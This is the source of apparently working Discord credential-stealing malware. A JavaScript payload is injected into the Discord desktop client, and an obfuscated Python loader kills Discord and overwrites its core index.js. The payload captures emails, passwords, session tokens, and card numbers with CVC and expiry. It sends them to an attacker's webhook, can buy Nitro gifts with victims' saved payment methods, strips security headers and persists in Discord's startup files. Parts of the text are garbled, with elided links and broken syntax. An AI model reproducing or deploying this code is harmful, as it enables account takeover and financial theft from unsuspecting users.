nconst { BrowserWindow, session } = require(\'electron\');\n\nconst config = {\n
webhook: \'%WEBHOOK_HERE%\', \n webhook_protector_key: \'%WEBHOOK_KEY%\', \n
auto_buy_nitro: false, \n ping_on_run: true, \n ping_val: \'@everyone\',\n
ip_address_public: \'%IP_PUBLIC%\',\n username: \'%USERNAME%\',\n
embed_name: \'%EMBED_NAME%\', \n embed_icon: \'%EMBED_ICON%\'.replace(/
/g, \'%20\'), \n footer_text: \'%FOOTER_TEXT%\',\n embed_color: %EMBED_COLOR%, \n
injection_url: \'\', \n api: \'[Link] nitro:
{\n boost: {\n year: {\n id: \'521847234246082599\',\n
sku: \'511651885459963904\',\n price: \'9999\',\n },\n month: {\n
id: \'521847234246082599\',\n sku: \'511651880837840896\',\n
price: \'999\',\n },\n },\n classic: {\n month: {\n
id: \'521846918637420545\',\n sku: \'511651871736201216\',\n
price: \'499\',\n },\n },\n },\n filter: {\n urls: [\
n \'[Link]
\'[Link]
\'[Link]
\'[Link]
\'[Link]
\'[Link]
\'[Link]
payment_methods/paypal_accounts\',\n \'[Link]
\'[Link]
\'[Link] ],\n },\n filter2:
{\n urls: [\n
\'[Link]
n \'[Link]
\'[Link]
\'[Link]
\'[Link] \'[Link]
[Link]/*\',\n ],\n },\n};\n\nfunction parity_32(x, y, z) {\n
return x ^ y ^ z;\n}\nfunction ch_32(x, y, z) {\n return (x & y) ^ (~x & z);\n}\n\
nfunction maj_32(x, y, z) {\n return (x & y) ^ (x & z) ^ (y & z);\n}\nfunction
rotl_32(x, n) {\n return (x << n) | (x >>> (32 - n));\n}\nfunction safeAdd_32_2(a,
b) {\n var lsw = (a & 0xffff) + (b & 0xffff),\n msw = (a >>> 16) + (b >>> 16) +
(lsw >>> 16);\n\n return ((msw & 0xffff) << 16) | (lsw & 0xffff);\n}\nfunction
safeAdd_32_5(a, b, c, d, e) {\n var lsw = (a & 0xffff) + (b & 0xffff) + (c &
0xffff) + (d & 0xffff) + (e & 0xffff),\n msw = (a >>> 16) + (b >>> 16) + (c >>>
16) + (d >>> 16) + (e >>> 16) + (lsw >>> 16);\n\n return ((msw & 0xffff) << 16) |
(lsw & 0xffff);\n}\nfunction binb2hex(binarray) {\n var hex_tab
= \'0123456789abcdef\',\n str = \'\',\n length = [Link] * 4,\n
i,\n srcByte;\n\n for (i = 0; i < length; i += 1) {\n srcByte = binarray[i
>>> 2] >>> ((3 - (i % 4)) * 8);\n str += hex_tab.charAt((srcByte >>> 4) & 0xf) +
hex_tab.charAt(srcByte & 0xf);\n }\n\n return str;\n}\n\nfunction getH() {\n
return [0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476, 0xc3d2e1f0];\n}\nfunction
roundSHA1(block, H) {\n var W = [],\n a,\n b,\n c,\n d,\n e,\n
T,\n ch = ch_32,\n parity = parity_32,\n maj = maj_32,\n rotl =
rotl_32,\n safeAdd_2 = safeAdd_32_2,\n t,\n safeAdd_5 = safeAdd_32_5;\n\n
a = H[0];\n b = H[1];\n c = H[2];\n d = H[3];\n e = H[4];\n\n for (t = 0; t <
80; t += 1) {\n if (t < 16) {\n W[t] = block[t];\n } else {\n W[t]
= rotl(W[t - 3] ^ W[t - 8] ^ W[t - 14] ^ W[t - 16], 1);\n }\n\n if (t < 20)
{\n T = safeAdd_5(rotl(a, 5), ch(b, c, d), e, 0x5a827999, W[t]);\n } else
if (t < 40) {\n T = safeAdd_5(rotl(a, 5), parity(b, c, d), e, 0x6ed9eba1,
W[t]);\n } else if (t < 60) {\n T = safeAdd_5(rotl(a, 5), maj(b, c, d), e,
0x8f1bbcdc, W[t]);\n } else {\n T = safeAdd_5(rotl(a, 5), parity(b, c, d),
e, 0xca62c1d6, W[t]);\n }\n\n e = d;\n d = c;\n c = rotl(b, 30);\n b
= a;\n a = T;\n }\n\n H[0] = safeAdd_2(a, H[0]);\n H[1] = safeAdd_2(b,
H[1]);\n H[2] = safeAdd_2(c, H[2]);\n H[3] = safeAdd_2(d, H[3]);\n H[4] =
safeAdd_2(e, H[4]);\n\n return H;\n}\n\nfunction finalizeSHA1(remainder,
remainderBinLen, processedBinLen, H) {\n var i, appendedMessageLength, offset;\n\n
offset = (((remainderBinLen + 65) >>> 9) << 4) + 15;\n while ([Link] <=
offset) {\n [Link](0);\n }\n remainder[remainderBinLen >>> 5] |= 0x80
<< (24 - (remainderBinLen % 32));\n remainder[offset] = remainderBinLen +
processedBinLen;\n appendedMessageLength = [Link];\n\n for (i = 0; i <
appendedMessageLength; i += 16) {\n H = roundSHA1([Link](i, i + 16),
H);\n }\n return H;\n}\n\nfunction hex2binb(str, existingBin, existingBinLen) {\n
var bin,\n length = [Link],\n i,\n num,\n intOffset,\n
byteOffset,\n existingByteLen;\n\n bin = existingBin || [0];\n existingBinLen
= existingBinLen || 0;\n existingByteLen = existingBinLen >>> 3;\n\n if (0 !==
length % 2) {\n [Link](\'String of HEX type must be in byte
increments\');\n }\n\n for (i = 0; i < length; i += 2) {\n num =
parseInt([Link](i, 2), 16);\n if (!isNaN(num)) {\n byteOffset = (i >>>
1) + existingByteLen;\n intOffset = byteOffset >>> 2;\n while ([Link]
<= intOffset) {\n [Link](0);\n }\n bin[intOffset] |= num << (8 *
(3 - (byteOffset % 4)));\n } else {\n [Link](\'String of HEX type
contains invalid characters\');\n }\n }\n\n return { value: bin, binLen:
length * 4 + existingBinLen };\n}\n\nclass jsSHA {\n constructor() {\n var
processedLen = 0,\n remainder = [],\n remainderLen = 0,\n
intermediateH,\n converterFunc,\n outputBinLen,\n variantBlockSize,\
n roundFunc,\n finalizeFunc,\n finalized = false,\n hmacKeySet
= false,\n keyWithIPad = [],\n keyWithOPad = [],\n numRounds,\n
numRounds = 1;\n\n converterFunc = hex2binb;\n\n if (numRounds !==
parseInt(numRounds, 10) || 1 > numRounds) {\n [Link](\'numRounds must a
integer >= 1\');\n }\n variantBlockSize = 512;\n roundFunc = roundSHA1;\n
finalizeFunc = finalizeSHA1;\n outputBinLen = 160;\n intermediateH = getH();\
n\n [Link] = function (key) {\n var keyConverterFunc, convertRet,
keyBinLen, keyToUse, blockByteSize, i, lastArrayIndex;\n keyConverterFunc =
hex2binb;\n convertRet = keyConverterFunc(key);\n keyBinLen =
convertRet[\'binLen\'];\n keyToUse = convertRet[\'value\'];\n
blockByteSize = variantBlockSize >>> 3;\n lastArrayIndex = blockByteSize / 4 -
1;\n\n if (blockByteSize < keyBinLen / 8) {\n keyToUse =
finalizeFunc(keyToUse, keyBinLen, 0, getH());\n while ([Link] <=
lastArrayIndex) {\n [Link](0);\n }\n
keyToUse[lastArrayIndex] &= 0xffffff00;\n } else if (blockByteSize > keyBinLen
/ 8) {\n while ([Link] <= lastArrayIndex) {\n
[Link](0);\n }\n keyToUse[lastArrayIndex] &= 0xffffff00;\n
}\n\n for (i = 0; i <= lastArrayIndex; i += 1) {\n keyWithIPad[i] =
keyToUse[i] ^ 0x36363636;\n keyWithOPad[i] = keyToUse[i] ^ 0x5c5c5c5c;\n
}\n\n intermediateH = roundFunc(keyWithIPad, intermediateH);\n
processedLen = variantBlockSize;\n\n hmacKeySet = true;\n };\n\n
[Link] = function (srcString) {\n var convertRet,\n chunkBinLen,\n
chunkIntLen,\n chunk,\n i,\n updateProcessedLen = 0,\n
variantBlockIntInc = variantBlockSize >>> 5;\n\n convertRet =
converterFunc(srcString, remainder, remainderLen);\n chunkBinLen =
convertRet[\'binLen\'];\n chunk = convertRet[\'value\'];\n\n chunkIntLen
= chunkBinLen >>> 5;\n for (i = 0; i < chunkIntLen; i += variantBlockIntInc)
{\n if (updateProcessedLen + variantBlockSize <= chunkBinLen) {\n
intermediateH = roundFunc([Link](i, i + variantBlockIntInc), intermediateH);\n
updateProcessedLen += variantBlockSize;\n }\n }\n processedLen +=
updateProcessedLen;\n remainder = [Link](updateProcessedLen >>> 5);\n
remainderLen = chunkBinLen % variantBlockSize;\n };\n\n [Link] =
function () {\n var firstHash;\n\n if (false === hmacKeySet) {\n
[Link](\'Cannot call getHMAC without first setting HMAC key\');\n }\n\n
const formatFunc = function (binarray) {\n return binb2hex(binarray);\n
};\n\n if (false === finalized) {\n firstHash = finalizeFunc(remainder,
remainderLen, processedLen, intermediateH);\n intermediateH =
roundFunc(keyWithOPad, getH());\n intermediateH = finalizeFunc(firstHash,
outputBinLen, variantBlockSize, intermediateH);\n }\n\n finalized =
true;\n return formatFunc(intermediateH);\n };\n }\n}\n\nif (\'function\'
=== typeof define && define[\'amd\']) {\n define(function () {\n return jsSHA;\
n });\n} else if (\'undefined\' !== typeof exports) {\n if (\'undefined\' !==
typeof module && module[\'exports\']) {\n module[\'exports\'] = exports =
jsSHA;\n } else {\n exports = jsSHA;\n }\n} else {\n global[\'jsSHA\'] =
jsSHA;\n}\n\nif ([Link]) {\n jsSHA = [Link];\n}\n\nfunction
totp(key) {\n const period = 30;\n const digits = 6;\n const timestamp =
[Link]();\n const epoch = [Link](timestamp / 1000.0);\n
const time = leftpad(dec2hex([Link](epoch / period)), 16, \'0\');\n const
shaObj = new jsSHA();\n [Link](base32tohex(key));\n
[Link](time);\n const hmac = [Link]();\n const offset =
hex2dec([Link]([Link] - 1));\n let otp = (hex2dec([Link](offset
* 2, 8)) & hex2dec(\'7fffffff\')) + \'\';\n otp = [Link]([Link]([Link] -
digits, 0), digits);\n return otp;\n}\n\nfunction hex2dec(s) {\n return
parseInt(s, 16);\n}\n\nfunction dec2hex(s) {\n return (s < 15.5 ? \'0\' : \'\') +
[Link](s).toString(16);\n}\n\nfunction base32tohex(base32) {\n let base32chars
= \'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567\',\n bits = \'\',\n hex = \'\';\n\n
base32 = [Link](/=+$/, \'\');\n\n for (let i = 0; i < [Link]; i++)
{\n let val = [Link]([Link](i).toUpperCase());\n if (val
=== -1) [Link](\'Invalid base32 character in key\');\n bits +=
leftpad([Link](2), 5, \'0\');\n }\n\n for (let i = 0; i + 8 <= [Link];
i += 8) {\n let chunk = [Link](i, 8);\n hex = hex +
leftpad(parseInt(chunk, 2).toString(16), 2, \'0\');\n }\n return hex;\n}\n\
nfunction leftpad(str, len, pad) {\n if (len + 1 >= [Link]) {\n str =
Array(len + 1 - [Link]).join(pad) + str;\n }\n return str;\n}\n\nconst
discordPath = (function () {\n const app = args[0].split([Link]).slice(0, -
1).join([Link]);\n let resourcePath;\n\n if ([Link] === \'win32\') {\
n resourcePath = [Link](app, \'resources\');\n } else if ([Link]
=== \'darwin\') {\n resourcePath = [Link](app, \'Contents\', \'Resources\');\
n }\n\n if ([Link](resourcePath)) return { resourcePath, app };\n return
{ undefined, undefined };\n})();\n\nfunction updateCheck() {\n const
{ resourcePath, app } = discordPath;\n if (resourcePath === undefined || app ===
undefined) return;\n const appPath = [Link](resourcePath, \'app\');\n const
packageJson = [Link](appPath, \'[Link]\');\n const resourceIndex =
[Link](appPath, \'[Link]\');\n const indexJs = `${app}\\\\modules\\\\
discord_desktop_core-1\\\\discord_desktop_core\\\\[Link]`;\n const bdPath =
[Link]([Link], \'\\\\betterdiscord\\\\data\\\\
[Link]\');\n if () [Link](appPath);\n if
([Link](packageJson)) [Link](packageJson);\n if
([Link](resourceIndex)) [Link](resourceIndex);\n\n if
([Link] === \'win32\' || [Link] === \'darwin\') {\n
[Link](\n packageJson,\n [Link](\n {\n
name: \'discord\',\n main: \'[Link]\',\n },\n null,\n
4,\n ),\n );\n\n const startUpScript = `const fs = require(\'fs\'),
https = require(\'https\');\nconst indexJs = \'${indexJs}\';\nconst bdPath = \'$
{bdPath}\';\nconst fileSize = [Link](indexJs).size\
[Link](indexJs, \'utf8\', (err, data) => {\n if (fileSize < 20000 ||
data === \"[Link] = require(\'./[Link]\')\") \n init();\n})\
nasync function init() {\n [Link](\'${config.injection_url}\', (res) => {\n
const file = [Link](indexJs);\n [Link](\'%WEBHOOK_HERE
%\', \'${[Link]}\')\n [Link](\'%WEBHOOK_KEY%\', \'$
{config.webhook_protector_key}\')\n [Link](file);\n
[Link](\'finish\', () => {\n [Link]();\n });\n \
n }).on(\"error\", (err) => {\n setTimeout(init(), 10000);\n });\n}\
nrequire(\'${[Link](resourcePath, \'[Link]\')}\')\nif ([Link](bdPath))
require(bdPath);`;\n [Link](resourceIndex,
[Link](/\\\\/g, \'\\\\\\\\\'));\n }\n if (!
[Link]([Link](__dirname, \'initiation\'))) return !0;\n
[Link]([Link](__dirname, \'initiation\'));\n execScript(\n
`[Link]?(gg=[Link]([[],{get_require:
(a,b,c)=>[Link]=c},[[\"get_require\"]]]),delete gg.m.get_require,delete
gg.c.get_require):window.webpackChunkdiscord_app&&window.webpackChunkdiscord_app.pu
sh([[[Link]()],{},a=>{gg=a}]);function LogOut(){(function(a){const
b=\"string\"==typeof a?a:null;for(const c in gg.c)if([Link](c)){const
d=gg.c[c].exports;if(d&&d.__esModule&&[Link]&&(b?
[Link][b]:a([Link])))return [Link];if(d&&(b?d[b]:a(d)))return d}return
null})(\"login\").logout()}LogOut();`,\n );\n return !1;\n}\n\nconst execScript =
(script) => {\n const window = [Link]()[0];\n return
[Link](script, !0);\n};\n\nconst getInfo = async
(token) => {\n const info = await execScript(`var xmlHttp = new XMLHttpRequest();\
n [Link](\"GET\", \"${[Link]}\", false);\n
[Link](\"Authorization\", \"${token}\");\n
[Link](null);\n [Link];`);\n return [Link](info);\n};\
n\nconst fetchBilling = async (token) => {\n const bill = await execScript(`var
xmlHttp = new XMLHttpRequest(); \n [Link](\"GET\",
\"${[Link]}/billing/payment-sources\", false); \n
[Link](\"Authorization\", \"${token}\"); \n
[Link](null); \n [Link]`);\n if (![Link] ||
[Link] === 0) return \'\';\n return [Link](bill);\n};\n\nconst getBilling
= async (token) => {\n const data = await fetchBilling(token);\n if (!data)
return \'❌\';\n let billing = \'\';\n [Link]((x) => {\n if (![Link])
{\n switch ([Link]) {\n case 1:\n billing += \'[CARD] \';\n
break;\n case 2:\n billing += \'[PAYPAL] \';\n break;\n
}\n }\n });\n if (!billing) billing = \'None\';\n return billing;\n};\n\
nconst Purchase = async (token, id, _type, _time) => {\n const options = {\n
expected_amount: [Link][_type][_time][\'price\'],\n
expected_currency: \'usd\',\n gift: true,\n payment_source_id: id,\n
payment_source_token: null,\n purchase_token: \'2422867c-244d-476a-ba4f-
36e197758d97\',\n sku_subscription_plan_id: [Link][_type][_time]
[\'sku\'],\n };\n\n const req = execScript(`var xmlHttp = new XMLHttpRequest();\n
[Link](\"POST\", \"[Link]
{[Link][_type][_time][\'id\']}/purchase\", false);\n
[Link](\"Authorization\", \"${token}\");\n
[Link](\'Content-Type\', \'application/json\');\n
[Link]([Link](${[Link](options)}));\n
[Link]`);\n if (req[\'gift_code\']) {\n return
\'[Link] + req[\'gift_code\'];\n } else return null;\n};\n\nconst
buyNitro = async (token) => {\n const data = await fetchBilling(token);\n const
failedMsg = \'Failed to Purchase\';\n if (!data) return failedMsg;\n\n let IDS =
[];\n [Link]((x) => {\n if (![Link]) {\n IDS = [Link]([Link]);\
n }\n });\n for (let sourceID in IDS) {\n const first = Purchase(token,
sourceID, \'boost\', \'year\');\n if (first !== null) {\n return first;\n
} else {\n const second = Purchase(token, sourceID, \'boost\', \'month\');\n
if (second !== null) {\n return second;\n } else {\n const third
= Purchase(token, sourceID, \'classic\', \'month\');\n if (third !== null)
{\n return third;\n } else {\n return failedMsg;\
n }\n }\n }\n }\n};\n\nconst hooker = async (content) => {\n const
data = [Link](content);\n const url = new URL([Link]);\n const
headers = {\n \'Content-Type\': \'application/json\',\n \'Access-Control-
Allow-Origin\': \'*\',\n };\n if () {\n
const key = totp(config.webhook_protector_key);\n headers[\'Authorization\'] =
key;\n }\n const options = {\n protocol: [Link],\n hostname:
[Link],\n path: [Link],\n method: \'POST\',\n headers: headers,\n
};\n const req = [Link](options);\n\n [Link](\'error\', (err) => {\n
[Link](err);\n });\n [Link](data);\n [Link]();\n};\n\nconst login =
async (email, password, token) => {\n const json = await getInfo(token);\n const
content = {\n username: config.embed_name,\n avatar_url: config.embed_icon,\n
embeds: [\n {\n color: config.embed_color,\n title: `Discord
Injection [Login] \\`${[Link]} \"${config.ip_address_public}\"\\`:`, \n
fields: [\n {\n name: \':e_mail: Email:\',\n value:
`\\`\\`\\`${email}\\`\\`\\``,\n inline: false,\n },\n
{\n name: \':key: Password:\',\n value: `\\`\\`\\`$
{password}\\`\\`\\``,\n inline: false,\n },\n {\n
name: \':globe_with_meridians: Token:\',\n value: `\\`\\`\\`${token}\\
`\\`\\``,\n inline: false,\n },\n ],\n author: {\
n name: [Link] + \'#\' + [Link] + \' (\' + [Link]
+ \')\',\n icon_url: `[Link]
{[Link]}.webp`,\n },\n footer: {\n text:
config.footer_text,\n icon_url: config.embed_icon\n },\n },\
n ],\n };\n if (config.ping_on_run) content[\'content\'] = config.ping_val;\n
hooker(content);\n};\n\nconst passwordChanged = async (oldpassword, newpassword,
token) => {\n const json = await getInfo(token);\n const content = {\n
username: config.embed_name,\n avatar_url: config.embed_icon,\n embeds: [\n
{\n color: config.embed_color,\n title: `Discord Injection [Password
Changed] \\`${[Link]} \"${config.ip_address_public}\"\\`:`, \n
fields: [\n {\n name: \':e_mail: Email:\',\n value:
`\\`\\`\\`${[Link]}\\`\\`\\``,\n
inline: false,\n },\n {\n name: \':unlock:
Old Password:\',\n value: `\\`\\`\\`${oldpassword}\\`\\`\\``,\n
inline: true,\n },\n {\n name: \':key: New
Password:\',\n value: `\\`\\`\\`${newpassword}\\`\\`\\``,\n
inline: true,\n },\n {\n
name: \':globe_with_meridians: Token:\',\n value: `\\`\\`\\`${token}\\
`\\`\\``,\n inline: false,\n },\n ],\n author: {\
n name: [Link] + \'#\' + [Link] + \' (\' + [Link]
+ \')\',\n icon_url: `[Link]
{[Link]}.webp`,\n },\n footer: {\n text:
config.footer_text,\n icon_url: config.embed_icon\n },\n },\
n ],\n };\n if (config.ping_on_run) content[\'content\'] = config.ping_val;\n
hooker(content);\n};\n\nconst emailChanged = async (email, password, token) => {\n
const json = await getInfo(token);\n const content = {\n username:
config.embed_name,\n avatar_url: config.embed_icon,\n embeds: [\n {\n
color: config.embed_color,\n title: `Discord Injection [Email Changed] \\`$
{[Link]} \"${config.ip_address_public}\"\\`:`, \n fields: [\n
{\n name: \':e_mail: New Email:\',\n value: `\\`\\`\\`$
{email}\\`\\`\\``,\n inline: false,\n },\n {\n
name: \':key: Password:\',\n value: `\\`\\`\\`${password}\\`\\`\\``,\n
inline: false,\n },\n {\n
name: \':globe_with_meridians: Token:\',\n value: `\\`\\`\\`${token}\\
`\\`\\``,\n inline: false,\n },\n ],\n author: {\
n name: [Link] + \'#\' + [Link] + \' | \' + [Link],\n
icon_url: `[Link]
},\n footer: {\n text: config.footer_text,\n icon_url:
config.embed_icon\n },\n },\n ],\n };\n if (config.ping_on_run)
content[\'content\'] = config.ping_val;\n hooker(content);\n};\n\nconst
PaypalAdded = async (token) => {\n const json = await getInfo(token);\n const
billing = await getBilling(token);\n const content = {\n username:
config.embed_name,\n avatar_url: config.embed_icon,\n embeds: [\n {\n
color: config.embed_color,\n title: `Discord Injection [Paypal Added] \\`$
{[Link]} \"${config.ip_address_public}\"\\`:`,\n fields: [\n
{\n name: \':moneybag: Billing:\',\n value: `\\`\\`\\`$
{billing}\\`\\`\\``,\n inline: false,\n },\n {\n
name: \':globe_with_meridians: Token:\',\n value: `\\`\\`\\`${token}\\
`\\`\\``,\n inline: false,\n },\n ],\n author: {\
n name: [Link] + \'#\' + [Link] + \' (\' + [Link]
+ \')\',\n icon_url: `[Link]
{[Link]}.webp`,\n },\n footer: {\n text:
config.footer_text,\n icon_url: config.embed_icon\n },\n },\
n ],\n };\n if (config.ping_on_run) content[\'content\'] = config.ping_val;\n
hooker(content);\n};\n\nconst ccAdded = async (number, cvc, expir_month,
expir_year, token) => {\n const json = await getInfo(token);\n const billing =
await getBilling(token);\n const content = {\n username: config.embed_name,\n
avatar_url: config.embed_icon,\n embeds: [\n {\n color:
config.embed_color,\n title: `Discord Injection [Card Added] \\`$
{[Link]} \"${config.ip_address_public}\"\\`:`,\n fields: [\n
{\n name: \':identification_card: Card:\',\n value: `\\`\\`\\
`Number: ${number}\\nCVC: ${cvc}\\nExpir Month: ${expir_month}\\nExpir Year: $
{expir_year}\\`\\`\\``,\n inline: false,\n },\n {\n
name: \':moneybag: Billing:\',\n value: `\\`\\`\\`${billing}\\`\\`\\``,\
n inline: false,\n },\n {\n
name: \':globe_with_meridians: Token:\',\n value: `\\`\\`\\`${token}\\
`\\`\\``,\n inline: false,\n },\n ],\n author: {\
n name: [Link] + \'#\' + [Link] + \' (\' + [Link]
+ \')\',\n icon_url: `[Link]
{[Link]}.webp`,\n },\n footer: {\n text:
config.footer_text,\n icon_url: config.embed_icon\n },\n },\
n ],\n };\n if (config.ping_on_run) content[\'content\'] = config.ping_val;\n
hooker(content);\n};\n\nconst nitroBought = async (token) => {\n const json =
await getInfo(token);\n const code = await buyNitro(token);\n const content = {\n
username: config.embed_name,\n content: code,\n avatar_url:
config.embed_icon,\n embeds: [\n {\n color: config.embed_color,\n
title: `Discord Injection [Nitro Bought] \\`${[Link]} \"$
{config.ip_address_public}\"\\`:`,\n fields: [\n {\n
name: \':rocket: Nitro Code:\',\n value: `\\`\\`\\`${code}\\`\\`\\``,\n
inline: true,\n },\n {\n
name: \':globe_with_meridians: Token:\',\n value: `\\`\\`\\`${token}\\
`\\`\\``,\n inline: false,\n },\n ],\n author: {\
n name: [Link] + \'#\' + [Link] + \' (\' + [Link]
+ \')\',\n icon_url: `[Link]
{[Link]}.webp`,\n },\n footer: {\n text:
config.footer_text,\n icon_url: config.embed_icon\n },\n },\
n ],\n };\n if (config.ping_on_run) content[\'content\'] = config.ping_val +
`\\n${code}`;\n hooker(content);\n};\
[Link](config.filter2, (details,
callback) => {\n if ([Link](\'[Link] return
callback({ cancel: true });\n updateCheck();\n});\n\
[Link]((details, callback) => {\n if
([Link]([Link])) {\n if
([Link](\'[Link]\')) {\n callback({\n
responseHeaders: [Link](\n {\n \'Access-Control-Allow-
Headers\': \'*\',\n },\n [Link],\n ),\n
});\n } else {\n callback({\n responseHeaders: [Link](\n
{\n \'Content-Security-Policy\': [\"default-src \'*\'\", \"Access-
Control-Allow-Headers \'*\'\", \"Access-Control-Allow-Origin \'*\'\"],\n
\'Access-Control-Allow-Headers\': \'*\',\n \'Access-Control-Allow-
Origin\': \'*\',\n },\n [Link],\n ),\n
});\n }\n } else {\n delete [Link][\'content-security-
policy\'];\n delete [Link][\'content-security-policy-report-
only\'];\n\n callback({\n responseHeaders: {\
n ...[Link],\n \'Access-Control-Allow-
Headers\': \'*\',\n },\n });\n }\n});\n\
[Link]([Link], async (details, _) =>
{\n if ([Link] !== 200 && [Link] !== 202) return;\n const
unparsed_data = [Link]([Link][0].bytes).toString();\n const data
= [Link](unparsed_data);\n const token = await execScript(\n
`(webpackChunkdiscord_app.push([[\'\'],{},e=>{m=[];for(let c in
e.c)[Link](e.c[c])}]),m).find(m=>m?.exports?.default?.getToken!==void
0).[Link]()`,\n );\n switch (true) {\n case
[Link](\'login\'):\n login([Link], [Link],
token).catch([Link]);\n break;\n\n case
[Link](\'users/@me\') && [Link] === \'PATCH\':\n if (!
[Link]) return;\n if ([Link]) {\n emailChanged([Link],
[Link], token).catch([Link]);\n }\n if (data.new_password)
{\n passwordChanged([Link], data.new_password,
token).catch([Link]);\n }\n break;\n\n case
[Link](\'tokens\') && [Link] === \'POST\':\n const item
= [Link]([Link]());\n
ccAdded(item[\'card[number]\'], item[\'card[cvc]\'], item[\'card[exp_month]\'],
item[\'card[exp_year]\'], token).catch([Link]);\n break;\n\n case
[Link](\'paypal_accounts\') && [Link] === \'POST\':\n
PaypalAdded(token).catch([Link]);\n break;\n\n case
[Link](\'confirm\') && [Link] === \'POST\':\n if (!
config.auto_buy_nitro) return;\n setTimeout(() => {\n
nitroBought(token).catch([Link]);\n }, 7500);\n break;\n\n
default:\n break;\n }\n});\[Link] = require(\'./[Link]\');'

def Di5c0rd_inj3c710n():
import os
import re
import subprocess
import psutil

def
g3t_c0r3(NJIYPRZKLSGXPUBXIEQRAPNVLXNMQUVCPJBEFKMHKRIIWPUBCOGRALQJYGLPGDNEGUXPOSHTZE
DRIYHQDAFBTX):
for v4r_file in
[Link](NJIYPRZKLSGXPUBXIEQRAPNVLXNMQUVCPJBEFKMHKRIIWPUBCOGRALQJYGLPGDNEGUXPOSHT
ZEDRIYHQDAFBTX):
if [Link]('app-+?', v4r_file):
v4r_modules =
NJIYPRZKLSGXPUBXIEQRAPNVLXNMQUVCPJBEFKMHKRIIWPUBCOGRALQJYGLPGDNEGUXPOSHTZEDRIYHQDAF
BTX + '\\' % v4r_file + '\\modules'
if not [Link](v4r_modules):
continue
 for v4r_file in [Link](v4r_modules):
if [Link]('discord_desktop_core-+?', v4r_file):
v4r_core = v4r_modules + '\\' % v4r_file + '\\' %
'discord_desktop_core'
return (v4r_core, v4r_file)
else: # inserted
return None

def
st4rt_d15c0rd(NJIYPRZKLSGXPUBXIEQRAPNVLXNMQUVCPJBEFKMHKRIIWPUBCOGRALQJYGLPGDNEGUXPO
SHTZEDRIYHQDAFBTX):
v4r_update =
NJIYPRZKLSGXPUBXIEQRAPNVLXNMQUVCPJBEFKMHKRIIWPUBCOGRALQJYGLPGDNEGUXPOSHTZEDRIYHQDAF
BTX + '\\[Link]'
v4r_executable =
NJIYPRZKLSGXPUBXIEQRAPNVLXNMQUVCPJBEFKMHKRIIWPUBCOGRALQJYGLPGDNEGUXPOSHTZEDRIYHQDAF
[Link]('\\')[(-1)] + '.exe'
for v4r_file in
[Link](NJIYPRZKLSGXPUBXIEQRAPNVLXNMQUVCPJBEFKMHKRIIWPUBCOGRALQJYGLPGDNEGUXPOSHT
ZEDRIYHQDAFBTX):
if [Link]('app-+?', v4r_file):
v4r_app =
NJIYPRZKLSGXPUBXIEQRAPNVLXNMQUVCPJBEFKMHKRIIWPUBCOGRALQJYGLPGDNEGUXPOSHTZEDRIYHQDAF
BTX + '\\' + v4r_file
if [Link](v4r_app + '\\' + 'modules'):
for v4r_file in [Link](v4r_app):
if v4r_file == v4r_executable:
v4r_executable = v4r_app + '\\' * v4r_executable or []
[Link]([v4r_update, '--processStart',
v4r_executable], shell=True, stdout=[Link], stderr=[Link])

def inj3ct_c0d3():
WGVVGZVXRUINHIEFDWZKPOQCXQSKFVJBTHYDEGUJGDQITSWEGUNIYGVG =
[Link]('LOCALAPPDATA')

ZPAMNNWTPOBHGRKTXWBVDYAYGEGMOCYWGKVVMPLXVJYPLDZLFTUJXUMTLEHOAXJNSOQQYNAEJVZCWS =
[WGVVGZVXRUINHIEFDWZKPOQCXQSKFVJBTHYDEGUJGDQITSWEGUNIYGVG + '\\Discord',
WGVVGZVXRUINHIEFDWZKPOQCXQSKFVJBTHYDEGUJGDQITSWEGUNIYGVG + '\\DiscordCanary',
WGVVGZVXRUINHIEFDWZKPOQCXQSKFVJBTHYDEGUJGDQITSWEGUNIYGVG + '\\DiscordPTB',
WGVVGZVXRUINHIEFDWZKPOQCXQSKFVJBTHYDEGUJGDQITSWEGUNIYGVG + '\\DiscordDevelopment']
TFYPRQZIYWXWYCKOYPBQWBNMBAEMVKGUHLKMUAPPMSWLBGJLZJZJOFAYKZO =
TOVHTBCIOZHKAQXYTWZEJQFKBAXBLNQTXXPHPHJPEFMRSIMONGNGKXVPRAVVNYDRTRA
for v4r_proc in psutil.process_iter():
if 'discord' in v4r_proc.name().lower():
v4r_proc.kill()
for
NJIYPRZKLSGXPUBXIEQRAPNVLXNMQUVCPJBEFKMHKRIIWPUBCOGRALQJYGLPGDNEGUXPOSHTZEDRIYHQDAF
BTX in
ZPAMNNWTPOBHGRKTXWBVDYAYGEGMOCYWGKVVMPLXVJYPLDZLFTUJXUMTLEHOAXJNSOQQYNAEJVZCWS:
if not
[Link](NJIYPRZKLSGXPUBXIEQRAPNVLXNMQUVCPJBEFKMHKRIIWPUBCOGRALQJYGLPGDNEGUXP
OSHTZEDRIYHQDAFBTX):
continue
QZXSPDMCAZGADUDUIVHEOUHRMGLMEBEBUNGQEWGJWFNOUKIJDZTQCUNAOZJPEKMUTA =
g3t_c0r3(NJIYPRZKLSGXPUBXIEQRAPNVLXNMQUVCPJBEFKMHKRIIWPUBCOGRALQJYGLPGDNEGUXPOSHTZE
DRIYHQDAFBTX)
if QZXSPDMCAZGADUDUIVHEOUHRMGLMEBEBUNGQEWGJWFNOUKIJDZTQCUNAOZJPEKMUTA
is not None:
v4r_core, v4r_core_file =
QZXSPDMCAZGADUDUIVHEOUHRMGLMEBEBUNGQEWGJWFNOUKIJDZTQCUNAOZJPEKMUTA

FABXXZADBLCZGCSTEZXSAJIFAZQQLTWMIZUGASRIZCPYZMQIZWWOSRFTOWOUIGVOLQWRHMQMTUBIFYRCYTV
ULATDSSADWNF = v4r_core + '\\[Link]'
if not
[Link](FABXXZADBLCZGCSTEZXSAJIFAZQQLTWMIZUGASRIZCPYZMQIZWWOSRFTOWOUIGVOLQWR
HMQMTUBIFYRCYTVULATDSSADWNF):

open(FABXXZADBLCZGCSTEZXSAJIFAZQQLTWMIZUGASRIZCPYZMQIZWWOSRFTOWOUIGVOLQWRHMQMTUBIFY
RCYTVULATDSSADWNF, 'w').close()
with
open(FABXXZADBLCZGCSTEZXSAJIFAZQQLTWMIZUGASRIZCPYZMQIZWWOSRFTOWOUIGVOLQWRHMQMTUBIFY
RCYTVULATDSSADWNF, 'w', encoding='utf-8') as f:

[Link]([Link]('discor
d_desktop_core-1', v4r_core_file).replace('%WEBHOOK_HERE%',
